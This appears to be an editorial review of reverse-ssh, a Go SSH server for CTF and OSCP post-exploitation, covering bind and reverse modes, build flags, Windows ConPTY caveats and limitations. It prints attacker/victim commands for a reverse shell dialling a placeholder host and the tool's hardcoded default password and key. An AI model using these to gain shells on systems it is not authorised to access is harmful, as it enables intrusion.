# reverse-ssh replaces a fragile netcat reverse shell with a real SSH server

> reverse-ssh is a statically linked Go SSH server that can run as a bind shell or dial home to reverse the connection, so an operator who already has a foothold on a machine gets interactive shell, sftp and port forwarding instead of a raw socket. It is built on gliderlabs/ssh and pkg/sftp, ships binaries under 1.5MB, and is GPL-3.0 licensed.

**Fahrj/reverse-ssh** — Statically-linked ssh server with reverse shell functionality for CTFs and such

- Repository: https://github.com/Fahrj/reverse-ssh
- Stars: 1,072 · Forks: 149
- Language: Go
- License: GPL-3.0
- Published: 2026-10-19 · Updated: 2026-10-19 · Language: en
- Canonical page: https://hysenlabs.com/projects/fahrj-reverse-ssh

## The problem is muscle memory, not capability

reverse-ssh is described as a statically linked ssh server with a reverse connection feature for simple yet powerful remote access, most useful during HackTheBox challenges, CTFs or similar. The README says it was developed and extensively used during OSCP exam preparation, and the goal is to bridge the gap between initial foothold on a target and full local privilege escalation.

The problem it solves is stated with a lot of honesty. Catching a reverse shell with netcat is cool, sure, but who has not accidentally closed a reverse shell with a keyboard interrupt due to muscle memory. Besides their fragility, such shells are also often missing convenience features such as fully interactive access, TAB-completion or history.

So the choice is between a raw socket that gives you a shell, and a full SSH server that gives you a shell plus sftp plus port forwarding. The binary is under 1.5MB, which is the point, because the whole exercise is getting a small file onto a machine you already control and running it.

That framing matters for how the tool should be judged. This is not a way to get initial access. It is a way to upgrade access you already have into something that behaves like a normal remote session, with the conveniences that make post-exploitation work bearable.

The stated strengths are fully interactive shell access, file transfer via sftp, local, remote and dynamic port forwarding, use as either a bind or a reverse shell, and support for both Unix and Windows operating systems.

## Dial home mode and listen mode are the same binary

The tool runs in two modes, and the flag that selects them is worth understanding because the port numbers in the examples are not arbitrary.

In bind mode the server listens and you connect to it.

```
# Victim
victim$ ./reverse-ssh

# Attacker (default password: letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>
```

In reverse mode the process on the victim dials out to the operator, and then binds a local port on the attacker machine so the operator can connect to it.

```
# On attacker
attacker$ ./reverse-ssh -v -l -p <LPORT>

# On victim
victim$ ./reverse-ssh -p <LPORT> <LHOST>

# On attacker
attacker$ ssh -p 8888 127.0.0.1
```

The -l flag starts listening mode and overrides the reverse scenario, and the -b flag sets the port to bind after dialling home, defaulting to 8888. The README carries a specific warning about the interaction between the two ports: LPORT of 8888 collides with incoming connections, so use the flag -b 8889 or similar on the victim in that case. That is a real trap, because in the example above the attacker runs the listening instance on LPORT and then connects to 127.0.0.1 on 8888, the port the dialling instance opens.

Two details in the reverse mode are worth knowing. Dialling home is password only, because the author did not feel like baking a private key in as well yet, so the connection to the listening instance relies on the password. And in the end it is plain ssh, so you could catch the remote port forwarding call coming from the victim's machine with your own OpenSSH daemon listening on port 22, in which case you prepend the user name and provide the password when asked.

The usage text also shows the -N flag, which denies all incoming shell, exec, subsystem and local port forwarding requests and exists for the case where only remote port forwarding is needed, for instance when catching a reverse connection and nothing else.

## The Makefile bakes credentials and addresses into the binary

The build is where the tool's configuration model becomes clear, and it is a good design for the use case.

```make
RS_PASS ?= $(shell hexdump -n 8 -e '2/4 "%08x"' /dev/urandom)
LDFLAGS := $(LDFLAGS) -X 'main.localPassword=$(RS_PASS)'
```

Every configurable value is injected into the binary at link time with the Go linker -X flag, and the password defaults to eight random bytes rendered as hex from /dev/urandom. The variables are RS_SHELL for the default shell, RS_PUB for the authorised public key, RS_PASS for the password, and LUSER, LHOST, LPORT, BPORT and NOCLI for the dialling behaviour.

The practical consequence is that a build is self-contained in a way that matters here. There is no configuration file to carry onto the target, no environment variable to set in the compromised session, no key to write to disk. The binary that lands on the target already knows the password, the authorised key, the address to dial and the port to bind. That is exactly the property you want when the person running it has a keyboard and thirty seconds.

The build produces five binaries. CGO_ENABLED=0 is set, so the binaries are statically linked with no libc dependency, and there is a native build plus explicit amd64 and 386 builds for Linux and Windows, named reverse-sshx64, reverse-sshx86, reverse-sshx64.exe and reverse-sshx86.exe.

```make
build: clean
	CGO_ENABLED=0 					go build -ldflags="$(LDFLAGS) -s -w" -o bin/ .
```

The -s -w flags strip the symbol table and DWARF data, which is part of how the size stays under 1.5MB. The compressed target runs upx over the built binaries, packing each one into an upx_ prefixed file, and the README notes upx is an optional install, for example apt install upx-ucl.

The clean target removes only the reverse-ssh binaries, so a rebuild does not wipe the whole directory.

## The gliderlabs/ssh server is the actual implementation

The go.mod file shows a Go 1.15 module with a small, specific dependency set, and the central one is the SSH server library.

```
github.com/gliderlabs/ssh v0.3.3
github.com/pkg/sftp v1.13.4
github.com/creack/pty v1.1.17
github.com/ActiveState/termtest/conpty v0.5.0
golang.org/x/crypto
golang.org/x/term
golang.org/x/sys
```

gliderlabs/ssh is a pure Go SSH server implementation, and building on it is what makes the whole approach cheap. A statically linked Go binary with no cgo is a single file that runs on any Linux kernel from 2.6.23 upward or any Windows from Server 2008R2 or Windows 7 upward, which are the stated runtime requirements. There is no dependency on the target having an ssh daemon, and there is no dependency on any library being present on the target either.

pkg/sftp provides the file transfer subsystem over the same connection, which is what turns this from a shell into an ssh session with sftp, and creack/pty plus the ActiveState conpty package handle the pty layer on Unix and on Windows respectively.

The source layout is small enough to read in one pass, with core.go, main.go and ssh_session.go at the root, plus ssh_session_unix.go and ssh_session_windows.go for the platform specific parts. The split follows the usual Go pattern of a build tag per file, and the platform split is exactly where the pty behaviour differs.

The credentials are stated in the usage output, and they are the same on every build unless overridden.

```
Accepting all incoming connections from any user with either of the following:
 * Password "letmeinbrudipls"
 * PubKey   "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"
```

The README says you can connect with any username and the default password, the ssh key, or whatever you specified during compilation. Any username and a fixed default password is a deliberate choice for an operator tool, and it is also the reason to rebuild the binary before it goes anywhere near a real network.

## Windows needs ConPTY, and there is a workaround for older systems

The Windows caveats section is the most technically specific part of the README, and it is worth reading because it defines where the tool works.

A fully interactive PowerShell on Windows relies on the Windows Pseudo Console ConPTY and therefore requires at least Win10 Build 17763. On earlier versions you can still get an interactive reverse shell, but it cannot handle virtual terminal codes such as arrow keys or keyboard interrupts. In those cases you have to append the cmd command, so the connection becomes ssh with a cmd argument rather than a login shell.

The workaround for older Windows is to drop ssh-shellhost.exe from the OpenSSH for Windows releases into the same directory as reverse-ssh and pass the flag -s ssh-shellhost.exe. The README explains what that does: it pipes all traffic through ssh-shellhost.exe, which mimics a pty and transforms all virtual terminal codes such that Windows can understand.

That is a reasonable engineering answer to a real limitation, and the tool already accepts a -s flag for the shell to spawn. The flag doubles as the shell path on Unix, where the default is /bin/bash, so the same mechanism covers both cases.

The -s option in the usage text makes the dual purpose explicit, saying that for Windows this can only be used to give a path to ssh-shellhost.exe to enhance pre-Windows10 shells.

So the honest summary of Windows support is: on a current Windows 10 build or later, a fully interactive shell with arrow keys and interrupts. On Windows 7, Server 2008R2 or an early Windows 10, an interactive shell without terminal codes, or a full one if you bring the shell host binary along.

## Where reverse-ssh is the wrong tool

The first and most important limitation is authorisation. This is a tool for connecting to a machine you have already compromised, or for a machine you own in a lab. Running it against a system you are not authorised to test is a criminal act in most jurisdictions, and the fact that the tool is convenient and publicly available does not change that. The README is explicit about the context, CTFs, HackTheBox and OSCP preparation, and that context is the only legitimate one.

The second limitation is that it is not a persistence mechanism and not a covert one. The tool listens on a port, or dials home to a port, in the clear with SSH. It has no obfuscation, no process hollowing, no traffic shaping, and the connection is a recognisable SSH handshake to a port you chose. A defender watching the network sees an SSH connection to an unusual port, and a defender looking at the host sees a process listening. That is a deliberate design for a tool where stealth is not the goal, and it means it is the wrong tool for anything where detection would matter.

The third limitation is the release cadence. The tagged releases are v1.0.0 on 2021-07-15, v1.1.0 on 2021-08-08 and v1.2.0 on 2021-12-13, and the last push to master was on 2026-07-19. The go.mod is on Go 1.15, which is a language version long out of support, and the pinned dependencies are from 2021. Building it on a current Go toolchain works, but the module targets an old language version and old library releases, and a security review of the SSH stack in that dependency set is not something the project has evidently revisited.

The fourth limitation is that SSH is a lot of surface area for a post-exploitation tool. Every additional feature is a reason for a defender to notice. If your requirement is a single command execution on a target you already own, a simpler tool does the job with a smaller footprint.

## Conclusion

reverse-ssh fits a penetration tester or CTF participant who has already obtained a foothold on a target and needs a stable, featureful session rather than a raw reverse shell, and it fits a red team exercise where the objective includes moving files and pivoting through port forwarding. It does not fit production use, and it does not fit a machine you are not authorised to test, since the tool ships a hardcoded default password and a public private key that anyone can use. Before using it outside a lab, rebuild the binary with your own credentials through the RS_PASS, RS_PUB, LUSER, LHOST, LPORT and BPORT build variables, and note that the newest release is v1.2.0 from 2021-12-13 with the last push on 2026-07-19.

## FAQ

### What does reverse-ssh do and when is it used?

It is a statically linked SSH server with a reverse connection feature, most useful during HackTheBox challenges, CTFs or similar, and it was developed and extensively used during OSCP exam preparation. Its purpose is to upgrade an initial foothold into a full session with interactive shell, sftp file transfer and local, remote and dynamic port forwarding.

### How do I build reverse-ssh with my own password and address?

Use the Makefile link-time variables and run make. RS_PASS sets the password and defaults to eight random hex bytes from /dev/urandom, RS_PUB sets the authorised public key, RS_SHELL the default shell, and LUSER, LHOST, LPORT, BPORT and NOCLI control the dialling behaviour. Use make compressed to pack the resulting binaries with upx.

### What are the default credentials for reverse-ssh?

Incoming connections are accepted from any user with the password letmeinbrudipls or with the bundled ssh-ed25519 public key, unless you specify your own during compilation. The README also points to a private key asset and an ssh config snippet using StrictHostKeyChecking no and UserKnownHostsFile /dev/null for convenience.

### Does reverse-ssh work on older Windows versions?

A fully interactive PowerShell needs the Windows Pseudo Console ConPTY and therefore at least Win10 Build 17763. On earlier versions you get an interactive shell that cannot handle virtual terminal codes, or you can place ssh-shellhost.exe from OpenSSH for Windows next to the binary and pass -s ssh-shellhost.exe so traffic is piped through a pty emulator.

### What are the system requirements for reverse-ssh?

Running the provided binaries only relies on the Go minimum system requirements, which the README summarises as Linux kernel 2.6.23 and higher, or Windows Server 2008R2 and higher, or Windows 7 and higher. Compiling requires golang version 1.15, and optionally upx for compression. The binaries are statically linked and under 1.5MB.

## Sources

- [Fahrj/reverse-ssh on GitHub](https://github.com/Fahrj/reverse-ssh)
- [Issues](https://github.com/Fahrj/reverse-ssh/issues)
- [License: GPL-3.0](https://github.com/Fahrj/reverse-ssh/blob/master/LICENSE)
- [README](https://github.com/Fahrj/reverse-ssh/blob/master/README.md)
- [Releases](https://github.com/Fahrj/reverse-ssh/releases)

---

Hysen Labs editorial analysis, written from the project's own repository and release notes. Cite the canonical page: https://hysenlabs.com/projects/fahrj-reverse-ssh
